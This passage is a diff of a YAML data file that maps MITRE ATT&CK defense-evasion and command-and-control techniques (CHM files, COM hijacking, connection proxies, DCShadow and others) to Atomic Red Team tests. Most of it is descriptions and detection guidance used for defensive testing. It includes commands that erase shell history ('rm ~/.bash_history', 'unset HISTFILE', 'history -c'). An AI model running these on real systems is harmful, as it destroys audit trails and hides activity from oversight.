remote terminal services + like SSH, without new entries in that user's ~/.bash_history + is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE + environment variables or the removal/clearing of the ~/.bash_history + file are indicators of suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-16T20:37:57.409Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1146 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1146 + x_mitre_defense_bypassed: + - Log analysis + - Host forensic analysis + identifier: T1146 + atomic_tests: + - name: Clear Bash history (rm) + description: 'Clears bash history via rm + +' + supported_platforms: + - linux + - macos + executor: + name: sh + command: 'rm ~/.bash_history + +' + - name: Clear Bash history (echo) + description: 'Clears bash history via rm ' supported_platforms: @@ -5297,130 +5514,68 @@ defense-evasion: unset HISTFILE export HISTFILESIZE=0 history -c - '': + T1223: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1102 - source_name: mitre-attack - external_id: T1102 - - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: University of Birmingham C2 - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command - & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. x_mitre_data_sources: - - Host network interface - - Netflow/Enclave netflow - - Network protocol analysis - - Packet capture - - SSL/TLS inspection - x_mitre_network_requirements: true - x_mitre_contributors: - - Anastasios Pingios - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'Host data that can relate unknown or suspicious process - activity using a network connection is important to supplement any existing - indicators of compromise based on malware command and control signatures and - infrastructure or the presence of strong encryption. Packet capture analysis - will require SSL/TLS inspection if data is encrypted. Analyze network data - for uncommon data flows (e.g., a client sending significantly more data than - it receives from a server). User behavior monitoring may help to detect abnormal - patterns of activity. Analyze packet contents to detect communications that - do not follow the expected protocol behavior for the port that is being used. - (Citation: University of Birmingham C2)' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Compiled HTML File + description: |- + Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) + + Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) + x_mitre_remote_support: false + id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a + modified: '2019-07-16T20:59:55.841Z' x_mitre_platforms: - - Linux - - macOS - Windows - kill_chain_phases: - - phase_name: command-and-control - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Binary Analysis - - Log analysis - - Firewall - id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 - name: Web Service - created: '2017-05-31T21:31:13.915Z' - x_mitre_version: '1.0' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' type: attack-pattern - description: |- - Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. - - These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. - - Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. + x_mitre_detection: |- + Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. - Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). - x_mitre_permissions_required: - - User - atomic_tests: [] - T1223: - technique: + Monitor presence and use of CHM files, especially if they are not typically used within an environment. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution external_references: - - url: https://attack.mitre.org/techniques/T1223 + - external_id: T1223 source_name: mitre-attack - external_id: T1223 - - url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk + url: https://attack.mitre.org/techniques/T1223 + - description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved + October 3, 2018. source_name: Microsoft HTML Help May 2018 - description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved + url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk + - description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018. - - url: https://msdn.microsoft.com/windows/desktop/ms644670 source_name: Microsoft HTML Help ActiveX - description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved + url: https://msdn.microsoft.com/windows/desktop/ms644670 + - description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018. - - url: https://msdn.microsoft.com/windows/desktop/ms524405 source_name: Microsoft HTML Help Executable Program - description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved - October 3, 2018. - - url: https://msitpros.com/?p=3909 - source_name: MsitPros CHM Aug 2017 - description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using + url: https://msdn.microsoft.com/windows/desktop/ms524405 + - description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018. - - url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 - source_name: Microsoft CVE-2017-8625 Aug 2017 - description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer + source_name: MsitPros CHM Aug 2017 + url: https://msitpros.com/?p=3909 + - description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters - modified: '2019-01-31T01:21:44.559Z' - x_mitre_detection: |- - Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. - - Monitor presence and use of CHM files, especially if they are not typically used within an environment. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack + source_name: Microsoft CVE-2017-8625 Aug 2017 + url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 x_mitre_defense_bypassed: - Application whitelisting - Digital Certificate Validation - id: attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a - name: Compiled HTML File - created: '2018-10-17T00:14:20.652Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) - - Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) - x_mitre_permissions_required: - - User identifier: T1223 atomic_tests: - name: Compiled HTML Help Local Payload @@ -5459,31 +5614,34 @@ defense-evasion: ' T1122: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1122 - source_name: mitre-attack - external_id: T1122 - - url: https://msdn.microsoft.com/library/ms694363.aspx - source_name: Microsoft Component Object Model - description: Microsoft. (n.d.). The Component Object Model. Retrieved August - 18, 2016. - - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - source_name: GDATA COM Hijacking - description: 'G DATA. (2014, October). COM Object hijacking: the discreet - way of persistence. Retrieved August 13, 2016.' - - url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com - source_name: Endgame COM Hijacking - description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting - Persistence & Evasion with the COM. Retrieved September 15, 2016.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - ENDGAME + x_mitre_permissions_required: + - User x_mitre_data_sources: - Windows Registry - DLL monitoring - Loaded DLLs + name: Component Object Model Hijacking + description: 'The Component Object Model (COM) is a system within Windows to + enable interaction between software components through the operating system. + (Citation: Microsoft Component Object Model) Adversaries can use this system + to insert malicious code that can be executed in place of legitimate software + through hijacking the COM references and relationships as a means for persistence. + Hijacking a COM object requires a change in the Windows Registry to replace + a reference to a legitimate system component which may cause that component + to not work when executed. When that system component is executed through + normal system operation the adversary''s code will be executed instead. (Citation: + GDATA COM Hijacking) An adversary is likely to hijack objects that are used + frequently enough to maintain a consistent level of persistence, but are unlikely + to break noticeable functionality within the system as to avoid system instability + that could lead to detection.' + id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 modified: '2019-04-18T16:41:28.889Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: 'There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party @@ -5498,35 +5656,32 @@ defense-evasion: load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - ENDGAME + created: '2017-05-31T21:31:33.979Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1122 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1122 + - source_name: Microsoft Component Object Model + description: Microsoft. (n.d.). The Component Object Model. Retrieved August + 18, 2016. + url: https://msdn.microsoft.com/library/ms694363.aspx + - source_name: GDATA COM Hijacking + description: 'G DATA. (2014, October). COM Object hijacking: the discreet + way of persistence. Retrieved August 13, 2016.' + url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence + - source_name: Endgame COM Hijacking + description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting + Persistence & Evasion with the COM. Retrieved September 15, 2016.' + url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com x_mitre_defense_bypassed: - Autoruns Analysis - id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 - name: Component Object Model Hijacking - created: '2017-05-31T21:31:33.979Z' - x_mitre_version: '1.0' - type: attack-pattern - description: 'The Component Object Model (COM) is a system within Windows to - enable interaction between software components through the operating system. - (Citation: Microsoft Component Object Model) Adversaries can use this system - to insert malicious code that can be executed in place of legitimate software - through hijacking the COM references and relationships as a means for persistence. - Hijacking a COM object requires a change in the Windows Registry to replace - a reference to a legitimate system component which may cause that component - to not work when executed. When that system component is executed through - normal system operation the adversary''s code will be executed instead. (Citation: - GDATA COM Hijacking) An adversary is likely to hijack objects that are used - frequently enough to maintain a consistent level of persistence, but are unlikely - to break noticeable functionality within the system as to avoid system instability - that could lead to detection.' - x_mitre_permissions_required: - - User identifier: T1122 atomic_tests: - name: Component Object Model Hijacking @@ -5543,73 +5698,154 @@ defense-evasion: cleanup_command: 'reg import ..\src\COMHijackCleanup.reg ' - T1196: + T1090: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1196 - source_name: mitre-attack - external_id: T1196 - - url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx - source_name: Microsoft Implementing CPL - description: M. (n.d.). Implementing Control Panel Items. Retrieved January - 18, 2018. - - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - source_name: TrendMicro CPL Malware Jan 2014 - description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control - Panel Items. Retrieved January 18, 2018. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ - source_name: TrendMicro CPL Malware Dec 2013 - description: Bernardino, J. (2013, December 17). Control Panel Files Used - As Malicious Attachments. Retrieved January 18, 2018. - - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ - source_name: Palo Alto Reaver Nov 2017 - description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New - Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM x_mitre_data_sources: - - API monitoring - - Binary file metadata - - DLL monitoring - - Windows Registry - - Windows event logs - - Process command-line parameters + - Process use of network - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014) + - Netflow/Enclave netflow + - Packet capture + name: Connection Proxy + description: |- + Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. - Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: - - * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) - * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL) - * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL) + External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server. - Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems. + id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea + modified: '2019-07-08T21:11:18.343Z' x_mitre_platforms: + - Linux + - macOS - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Brian Prange + - Heather Linn + - Walker Johnson + created: '2017-05-31T21:31:08.479Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e + - kill_chain_name: mitre-attack + phase_name: command-and-control + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1090 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1090 + - source_name: Trend Micro APT Attack Tools + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + of the Trade. Retrieved December 2, 2015.' + url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ + - source_name: University of Birmingham C2 + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. + url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + x_mitre_defense_bypassed: + - Log Analysis + - Firewall + identifier: T1090 + atomic_tests: + - name: Connection Proxy + description: | + Enable traffic redirection. + + Note that this test may conflict with pre-existing system configuration. + supported_platforms: + - macos + - linux + input_arguments: + proxy_server: + description: Proxy server URL (host:port) + type: url + default: 127.0.0.1:8080 + proxy_scheme: + description: Protocol to proxy (http or https) + type: string + default: http + executor: + name: sh + command: 'export #{proxy_scheme}_proxy=#{proxy_server} + +' + cleanup_command: |- + unset http_proxy + unset https_proxy + T1196: + technique: + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + x_mitre_data_sources: + - API monitoring + - Binary file metadata + - DLL monitoring + - Windows Registry + - Windows event logs + - Process command-line parameters + - Process monitoring name: Control Panel Items - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern description: |- Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL) Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting. + x_mitre_remote_support: false + id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014) + + Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: + + * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) + * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL) + * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL) + + Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-16T21:10:28.299Z' + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1196 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1196 + - source_name: Microsoft Implementing CPL + description: M. (n.d.). Implementing Control Panel Items. Retrieved January + 18, 2018. + url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx + - source_name: TrendMicro CPL Malware Jan 2014 + description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control + Panel Items. Retrieved January 18, 2018. + url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + - source_name: TrendMicro CPL Malware Dec 2013 + description: Bernardino, J. (2013, December 17). Control Panel Files Used + As Malicious Attachments. Retrieved January 18, 2018. + url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ + - source_name: Palo Alto Reaver Nov 2017 + description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New + Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. + url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -5635,43 +5871,30 @@ defense-evasion: ' T1207: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1207 - source_name: mitre-attack - external_id: T1207 - - url: https://www.dcshadow.com/ - source_name: DCShadow Blog - description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, - 2018. - - source_name: BlueHat DCShadow Jan 2018 - description: 'Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: - What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.' - - url: https://adsecurity.org/?page_id=1821 - source_name: Adsecurity Mimikatz Guide - description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz - & Command Reference. Retrieved December 23, 2015. - - url: https://github.com/shellster/DCSYNCMonitor - source_name: GitHub DCSYNCMonitor - description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March - 30, 2018. - - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html - source_name: ADDSecurity DCShadow Feb 2018 - description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?. - Retrieved March 30, 2018. - - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx - source_name: Microsoft DirSync - description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control. - Retrieved March 30, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Vincent Le Toux x_mitre_data_sources: - API monitoring - Authentication logs - Network protocol analysis - Packet capture - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - Administrator + name: DCShadow + description: |- + DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. + + Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) + + This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) + id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion x_mitre_detection: |- Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) @@ -5681,26 +5904,39 @@ defense-evasion: Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack + x_mitre_contributors: + - Vincent Le Toux + created: '2018-04-18T17:59:24.739Z' + modified: '2018-10-17T00:14:20.652Z' + external_references: + - external_id: T1207 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1207 + - description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, + 2018. + source_name: DCShadow Blog + url: https://www.dcshadow.com/ + - description: 'Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: + What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.' + source_name: BlueHat DCShadow Jan 2018 + - description: Metcalf, S. (2015, November 13). 